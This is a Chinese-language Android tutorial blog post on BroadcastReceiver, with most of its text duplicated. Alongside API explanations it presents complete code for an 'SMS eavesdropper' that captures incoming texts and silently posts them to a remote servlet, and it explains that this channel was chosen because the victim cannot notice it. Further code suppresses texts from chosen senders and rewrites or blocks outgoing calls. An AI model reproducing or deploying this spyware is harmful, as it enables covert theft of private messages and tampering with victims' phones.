android基础--广播接收者-BroadcastReceiver
2011-10-18 17:41
281 查看
广播接收者BroadcastReceiver用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast(),Context.sendOrderedBroadcast()来实现的。
一个广播可以被多个订阅了此广播的接收者接收。要实现一个广播接收者方法如下:
第一步:继承BroadcastReceiver,并重写onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver{
public void onReceive(Context context,Intent intent){}
}
第二布:订阅感兴趣的广播Intent,方法有二
1.使用代码进行订阅
IntentFilter filter = new IntentFilter(“android.provider.Telephony.SMS_RECEIVED”);
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver,filter);
2.在Manifest.xml文件中的<application>节点里进行订阅
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
广播类型:
普通广播:异步,(逻辑上)同一时刻被所有接收者接收,相对传递效率高;
然而接收者不能将处理结果传递给下一个接收者,并且无法终止广播的传递
有序广播:按照接收者声明的优先级别依次接收。
优先级别取值范围-1000---1000,在<intent-filter>的android:priority属性中声明,也可以调用IntentFilter对象的setPriority()进行设置。数值大则级别高。例如 A取300 ,B取200,C取100,则优先级A>B>C,广播先传给A,再给B,再给C;
有序广播可以终止广播的传播,例如A接到后终止了广播,则B和C就无法收到广播;
有序广播的接收者可以将数据传递给下一个接收者,如:A得到广播后,可以往他的结果对象中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。
Context.sendBroadcast()发送普通广播
Context.sendOrderedBroadcast()发送有序广播
BroadcastReceiver.abortBroadcast()优先级高的终止广播,后面的接收者就再也无法获得广播
setResultExtras(Bundle)存放结果对象,然后传递给下一个接收者
下一个接收者通过:Bundle bundle = getResultExtras(true)可以获取上一个接收者存入在结果对象中的数据。
系统接收到短信,发出的广播属于有序广播,如果想阻止用户收到短信可以通过设置优先级,让自定义的接收者先获取到广播,然后终止广播,这样用户就接不到了。
发送有序广播:
Intent broadcastIntent = new Intent(Intent.ACTION_NEW_OUTGOING_CALL);
broadcastIntent.putExtra(Intent.EXTRA_PHONE_NUMBER, “13671200900”);
第一个参数为广播对象
第二个参数为接收该广播的权限
第三个参数为必须接收该广播的接收者,如果该广播不是一定要被某个接收者接收,该参数可以设置为null
第四个参数为Hanndle,如果为null,接收者将在Context所在的主线程被调用
第五个参数为用于标识结果数据的结果码
第六个参数为结果数据
第七个参数为附加到广播的额外数据
sendOrderedBroadcast(broadcastIntent, "android.permission.PROCESS_OUTGOING_CALLS", new OutgoingCallReceiver(), null, Activity.RESULT_OK, number, null);
public class OutgoingCallReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String number = getResultData();//得到结果数据
}
}
下面用一个短信窃听器的例子来测试广播接收者:
启动两个手机模拟器5554和5556,窃听器安装在5554上,5556向5554发送短信,5554接收到短信时会发出一个广播Intent,Intent的action名称为
android.provider.Telephony.SMS_RECEIVED,该Intent存放了系统接收到的短信内容,使用”pdus”即可从Intent中获取到短信内容。
把窃听到的短信发送给窃听者,有两种做法:1.通过发送短信发送给窃听者,2.通过WEB网络发送给窃听者。第一种转发短信的方式要走短信通道,要花费短信费,如果窃听到的短信过多,会产生大量费用被用户发现。第二种走的是互联网络通道,无法查询手机访问了哪些网站,而且输入量不大,产生的网络流量费用也不多,用户也无从查询,这种方法较好。这里用第二种,新建了一个web应用
ReceiveSMSServlet.java
public class ReceiveSMSServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//接收窃听器的传过来的三个参数
// String content = message.getMessageBody();//取得短信内容
// Date date = new Date(message.getTimestampMillis());//取得短信接收时间
// //2011-9-10 22:33:00格式化时间
// SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
// String receivetime = format.format(date);
// String senderNumber = message.getOriginatingAddress();//取得发送者号码
String content = request.getParameter("content");
String receivetime = request.getParameter("receivetime");
String senderNumber = request.getParameter("senderNumber");
System.out.println("短信内容:"+content);
System.out.println("接收时间:"+receivetime);
System.out.println("发送者:"+senderNumber);
}
}
SMSBroadcastReceiver.java
/**
* 该类实现了两个功能, 一个是接收短信,一个是访问网络把短信参数发给WEB应用
* 所以要申请两个权限:接收短信权限,访问网络权限,要把这两个权限加入项目中
*/
public class SMSBroadcastReceiver extends BroadcastReceiver {
//通过onReceive方法得到广播意图
public void onReceive(Context context, Intent intent) {
Object [] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object p:pdus){
byte [] pdu = (byte[])p;
//转换格式
SmsMessage message = SmsMessage.createFromPdu(pdu);//得到短信对象
String content = message.getMessageBody();//取得短信内容
Date date = new Date(message.getTimestampMillis());//取得短信接收时间
//2011-9-10 22:33:00格式化时间
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
String receivetime = format.format(date);
String senderNumber = message.getOriginatingAddress();//取得发送者号码
//把窃听到的短信发送给窃听者,有两种做法:1.通过发送短信发送给窃听者,2.通过WEB网络发送给窃听者
//第一种转发短信的方式要走短信通道,要花费短信费,如果窃听到的短信过多,会产生大量费用被用户发现
//第二种走的是互联网络通道,无法查询手机访问了哪些网站,而且输入量不大,产生的网络流量费用也不多,用户也无从查询,这种方法较好
//这里用第二种,新建了一个web应用
//发送短信到WEB应用
sendSMS(content,receivetime,senderNumber);
}
}
private boolean sendSMS(String content, String receivetime, String senderNumber) {
try{
String params = "content="+URLEncoder.encode(content, "UTF-8")+"&receivetime="+receivetime+"&senderNumber="+senderNumber;
byte [] entity =params.getBytes();
String path = "http://192.168.1.200:8080/videonews/ReceiveSMSServlet";
HttpURLConnection connection = (HttpURLConnection) new URL(path).openConnection();
connection.setConnectTimeout(5000);
connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
connection.setRequestProperty("Content-Length", String.valueOf(entity.length));
connection.getOutputStream().write(entity);
if(connection.getResponseCode()==200){
return true;
}
}catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
Manifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.com.listener"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<!-- 配置广播接收者组件 -->
<receiver android:name=".SMSBroadcastReceiver">
<!-- 订阅短信到来的广播 -->
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
<!-- 配置接收短信权限 -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<!-- 配置网络访问权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
下面我们修改project,把project变成一个短信黑名单,功能是把5556发送给5554的短信屏蔽掉,让窃听器接收到,而5554收不到,原理是利用有序广播性质,修改窃听器的优先级别,使它接收短信的级别高于5554接收短信的级别,当先于5554窃听到短信之后,把广播终止掉,从而使5554接收不到。
1. Manifest.xml中为窃听器添加级别
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
2.在SMSBroadcastReceiver.java中判断
//判断是不是5556发送过来的短息,如果是则终止广播
if("15555215556".equals(senderNumber)){
abortBroadcast();
}
测试:5556向5554发送信息,信息的内容,时间,发送者显示与控制台,而5554接收不到。
下面来实现一个拦截外拨电话功能:
功能详细描述如下:5554要给5556打电话,拨打5556后自动挂断
原理:当5554拨5556按下拨打电话的按键后,触及了这样一项工作:发出了外拨电话的有序广播,拨号器中有一个广播接收者,会得到该广播,然后获取电话号码并拨打出去;针对此我们自己建一个广播接收者,优先得到广播获取电话号码,如果发现没有12593,就加上12593并向下传给优先级次之的接收者,如果发现是5556,就终止广播。
1.配置组件
<receiver android:name=".PhoneBroadcastReceiver">
<intent-filter android:priority="1000">
<!-- 外拨电话的动作名称 -->
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
</intent-filter>
</receiver>
2.配置权限
<!-- 配置外拨电话权限权限 -->
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
3. PhoneBroadcastReceiver.java
public class PhoneBroadcastReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String number = getResultData();//当5556按下拨打键后会发出广播,把号码传进接收者的结果对象里,调用此方法取得广播接收者的结果数据(这里即电话号码)
if("5556".equals(number)){
//在这里终止广播调用abortBroadcast()不行,因为点击拨号按钮后发送有序广播的代码是
//sendOrderedBroadcast(broadcastIntent, "android.permission.PROCESS_OUTGOING_CALLS", new OutgoingCallReceiver(), null, Activity.RESULT_OK, number, null);
//第三个参数new OutgoingCallReceiver()传入了一个接收者,不管终止与否都会传递给外拨电话的接收者。于是要把号码置为空
setResultData(null);
}else{
number = "12593"+number;
setResultData(number);//把新的号码设回到结果对象里,当广播最终传递给拨号器里面的接收者时,拨号器里的接收者得到的是加上了12593的电话号码
}
}
}
广播接收者的响应性
每次广播消息到来的时候都会创建BroadcastReceive实例并执行onReceive()方法,方法执行完后,实例被销毁。也就是说广播接收者实例在消息到来时被创建,在onReceive()方法执行完后被销毁。
onReceive()方法必须在10秒内执行完毕,否则会弹出ANR(Application No Response)错误对话框。如果要完成一项耗时的工作,应通过发送intent给Service来完成,而不能用子线程来完成,原因是:BroadcastReceive组件的生命周期很短,子线程可能还没结束,而BroadcastReceive就结束了,从而BroadcastReceive所在的进程成为了空进程(没有任何活动组件的进程),当系统需要内存时空进程优先被杀死,那么正在工作的子线程也被杀死,所以采用子线程解决是不可靠的。
一个广播可以被多个订阅了此广播的接收者接收。要实现一个广播接收者方法如下:
第一步:继承BroadcastReceiver,并重写onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver{
public void onReceive(Context context,Intent intent){}
}
第二布:订阅感兴趣的广播Intent,方法有二
1.使用代码进行订阅
IntentFilter filter = new IntentFilter(“android.provider.Telephony.SMS_RECEIVED”);
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver,filter);
2.在Manifest.xml文件中的<application>节点里进行订阅
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
广播类型:
普通广播:异步,(逻辑上)同一时刻被所有接收者接收,相对传递效率高;
然而接收者不能将处理结果传递给下一个接收者,并且无法终止广播的传递
有序广播:按照接收者声明的优先级别依次接收。
优先级别取值范围-1000---1000,在<intent-filter>的android:priority属性中声明,也可以调用IntentFilter对象的setPriority()进行设置。数值大则级别高。例如 A取300 ,B取200,C取100,则优先级A>B>C,广播先传给A,再给B,再给C;
有序广播可以终止广播的传播,例如A接到后终止了广播,则B和C就无法收到广播;
有序广播的接收者可以将数据传递给下一个接收者,如:A得到广播后,可以往他的结果对象中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。
Context.sendBroadcast()发送普通广播
Context.sendOrderedBroadcast()发送有序广播
BroadcastReceiver.abortBroadcast()优先级高的终止广播,后面的接收者就再也无法获得广播
setResultExtras(Bundle)存放结果对象,然后传递给下一个接收者
下一个接收者通过:Bundle bundle = getResultExtras(true)可以获取上一个接收者存入在结果对象中的数据。
系统接收到短信,发出的广播属于有序广播,如果想阻止用户收到短信可以通过设置优先级,让自定义的接收者先获取到广播,然后终止广播,这样用户就接不到了。
发送有序广播:
Intent broadcastIntent = new Intent(Intent.ACTION_NEW_OUTGOING_CALL);
broadcastIntent.putExtra(Intent.EXTRA_PHONE_NUMBER, “13671200900”);
第一个参数为广播对象
第二个参数为接收该广播的权限
第三个参数为必须接收该广播的接收者,如果该广播不是一定要被某个接收者接收,该参数可以设置为null
第四个参数为Hanndle,如果为null,接收者将在Context所在的主线程被调用
第五个参数为用于标识结果数据的结果码
第六个参数为结果数据
第七个参数为附加到广播的额外数据
sendOrderedBroadcast(broadcastIntent, "android.permission.PROCESS_OUTGOING_CALLS", new OutgoingCallReceiver(), null, Activity.RESULT_OK, number, null);
public class OutgoingCallReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String number = getResultData();//得到结果数据
}
}
下面用一个短信窃听器的例子来测试广播接收者:
启动两个手机模拟器5554和5556,窃听器安装在5554上,5556向5554发送短信,5554接收到短信时会发出一个广播Intent,Intent的action名称为
android.provider.Telephony.SMS_RECEIVED,该Intent存放了系统接收到的短信内容,使用”pdus”即可从Intent中获取到短信内容。
把窃听到的短信发送给窃听者,有两种做法:1.通过发送短信发送给窃听者,2.通过WEB网络发送给窃听者。第一种转发短信的方式要走短信通道,要花费短信费,如果窃听到的短信过多,会产生大量费用被用户发现。第二种走的是互联网络通道,无法查询手机访问了哪些网站,而且输入量不大,产生的网络流量费用也不多,用户也无从查询,这种方法较好。这里用第二种,新建了一个web应用
ReceiveSMSServlet.java
public class ReceiveSMSServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//接收窃听器的传过来的三个参数
// String content = message.getMessageBody();//取得短信内容
// Date date = new Date(message.getTimestampMillis());//取得短信接收时间
// //2011-9-10 22:33:00格式化时间
// SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
// String receivetime = format.format(date);
// String senderNumber = message.getOriginatingAddress();//取得发送者号码
String content = request.getParameter("content");
String receivetime = request.getParameter("receivetime");
String senderNumber = request.getParameter("senderNumber");
System.out.println("短信内容:"+content);
System.out.println("接收时间:"+receivetime);
System.out.println("发送者:"+senderNumber);
}
}
SMSBroadcastReceiver.java
/**
* 该类实现了两个功能, 一个是接收短信,一个是访问网络把短信参数发给WEB应用
* 所以要申请两个权限:接收短信权限,访问网络权限,要把这两个权限加入项目中
*/
public class SMSBroadcastReceiver extends BroadcastReceiver {
//通过onReceive方法得到广播意图
public void onReceive(Context context, Intent intent) {
Object [] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object p:pdus){
byte [] pdu = (byte[])p;
//转换格式
SmsMessage message = SmsMessage.createFromPdu(pdu);//得到短信对象
String content = message.getMessageBody();//取得短信内容
Date date = new Date(message.getTimestampMillis());//取得短信接收时间
//2011-9-10 22:33:00格式化时间
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
String receivetime = format.format(date);
String senderNumber = message.getOriginatingAddress();//取得发送者号码
//把窃听到的短信发送给窃听者,有两种做法:1.通过发送短信发送给窃听者,2.通过WEB网络发送给窃听者
//第一种转发短信的方式要走短信通道,要花费短信费,如果窃听到的短信过多,会产生大量费用被用户发现
//第二种走的是互联网络通道,无法查询手机访问了哪些网站,而且输入量不大,产生的网络流量费用也不多,用户也无从查询,这种方法较好
//这里用第二种,新建了一个web应用
//发送短信到WEB应用
sendSMS(content,receivetime,senderNumber);
}
}
private boolean sendSMS(String content, String receivetime, String senderNumber) {
try{
String params = "content="+URLEncoder.encode(content, "UTF-8")+"&receivetime="+receivetime+"&senderNumber="+senderNumber;
byte [] entity =params.getBytes();
String path = "http://192.168.1.200:8080/videonews/ReceiveSMSServlet";
HttpURLConnection connection = (HttpURLConnection) new URL(path).openConnection();
connection.setConnectTimeout(5000);
connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
connection.setRequestProperty("Content-Length", String.valueOf(entity.length));
connection.getOutputStream().write(entity);
if(connection.getResponseCode()==200){
return true;
}
}catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
Manifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.com.listener"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<!-- 配置广播接收者组件 -->
<receiver android:name=".SMSBroadcastReceiver">
<!-- 订阅短信到来的广播 -->
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
<!-- 配置接收短信权限 -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<!-- 配置网络访问权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
下面我们修改project,把project变成一个短信黑名单,功能是把5556发送给5554的短信屏蔽掉,让窃听器接收到,而5554收不到,原理是利用有序广播性质,修改窃听器的优先级别,使它接收短信的级别高于5554接收短信的级别,当先于5554窃听到短信之后,把广播终止掉,从而使5554接收不到。
1. Manifest.xml中为窃听器添加级别
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
2.在SMSBroadcastReceiver.java中判断
//判断是不是5556发送过来的短息,如果是则终止广播
if("15555215556".equals(senderNumber)){
abortBroadcast();
}
测试:5556向5554发送信息,信息的内容,时间,发送者显示与控制台,而5554接收不到。
下面来实现一个拦截外拨电话功能:
功能详细描述如下:5554要给5556打电话,拨打5556后自动挂断
原理:当5554拨5556按下拨打电话的按键后,触及了这样一项工作:发出了外拨电话的有序广播,拨号器中有一个广播接收者,会得到该广播,然后获取电话号码并拨打出去;针对此我们自己建一个广播接收者,优先得到广播获取电话号码,如果发现没有12593,就加上12593并向下传给优先级次之的接收者,如果发现是5556,就终止广播。
1.配置组件
<receiver android:name=".PhoneBroadcastReceiver">
<intent-filter android:priority="1000">
<!-- 外拨电话的动作名称 -->
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
</intent-filter>
</receiver>
2.配置权限
<!-- 配置外拨电话权限权限 -->
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
3. PhoneBroadcastReceiver.java
public class PhoneBroadcastReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String number = getResultData();//当5556按下拨打键后会发出广播,把号码传进接收者的结果对象里,调用此方法取得广播接收者的结果数据(这里即电话号码)
if("5556".equals(number)){
//在这里终止广播调用abortBroadcast()不行,因为点击拨号按钮后发送有序广播的代码是
//sendOrderedBroadcast(broadcastIntent, "android.permission.PROCESS_OUTGOING_CALLS", new OutgoingCallReceiver(), null, Activity.RESULT_OK, number, null);
//第三个参数new OutgoingCallReceiver()传入了一个接收者,不管终止与否都会传递给外拨电话的接收者。于是要把号码置为空
setResultData(null);
}else{
number = "12593"+number;
setResultData(number);//把新的号码设回到结果对象里,当广播最终传递给拨号器里面的接收者时,拨号器里的接收者得到的是加上了12593的电话号码
}
}
}
广播接收者的响应性
每次广播消息到来的时候都会创建BroadcastReceive实例并执行onReceive()方法,方法执行完后,实例被销毁。也就是说广播接收者实例在消息到来时被创建,在onReceive()方法执行完后被销毁。
onReceive()方法必须在10秒内执行完毕,否则会弹出ANR(Application No Response)错误对话框。如果要完成一项耗时的工作,应通过发送intent给Service来完成,而不能用子线程来完成,原因是:BroadcastReceive组件的生命周期很短,子线程可能还没结束,而BroadcastReceive就结束了,从而BroadcastReceive所在的进程成为了空进程(没有任何活动组件的进程),当系统需要内存时空进程优先被杀死,那么正在工作的子线程也被杀死,所以采用子线程解决是不可靠的。
相关文章推荐
- 【Android核心基础07】 - 广播接收者和通知
- Android基础——广播接收者BroadcastReceiver
- Android基础学习__第6天__广播接收者与Service
- android基础笔记——广播接收者,实现短信监听
- android的开发基础之--------创建广播接收者的两种方式
- Android基础(九) BroadcastReceiver 广播接收者
- android基础学习13——广播接收者
- android关于注册广播接收者和注销的对应
- android—广播接收者BroadcastReceiver的应用开发范例
- Android之BroadcastReceiver广播接收者
- Android基础之广播
- Android四大组件之广播接收者
- android 学习笔记8-广播接收者 有序 无序广播 案例
- Android 动态注册广播接收者
- Android四大组件----广播发送者与广播接收者的使用
- Android入门:广播发送者与广播接收者
- Android基础—常用的系统广播总结
- Android 广播接收者练习-发送有序广播
- Android 采用广播接收者拦截外拨电话及其特性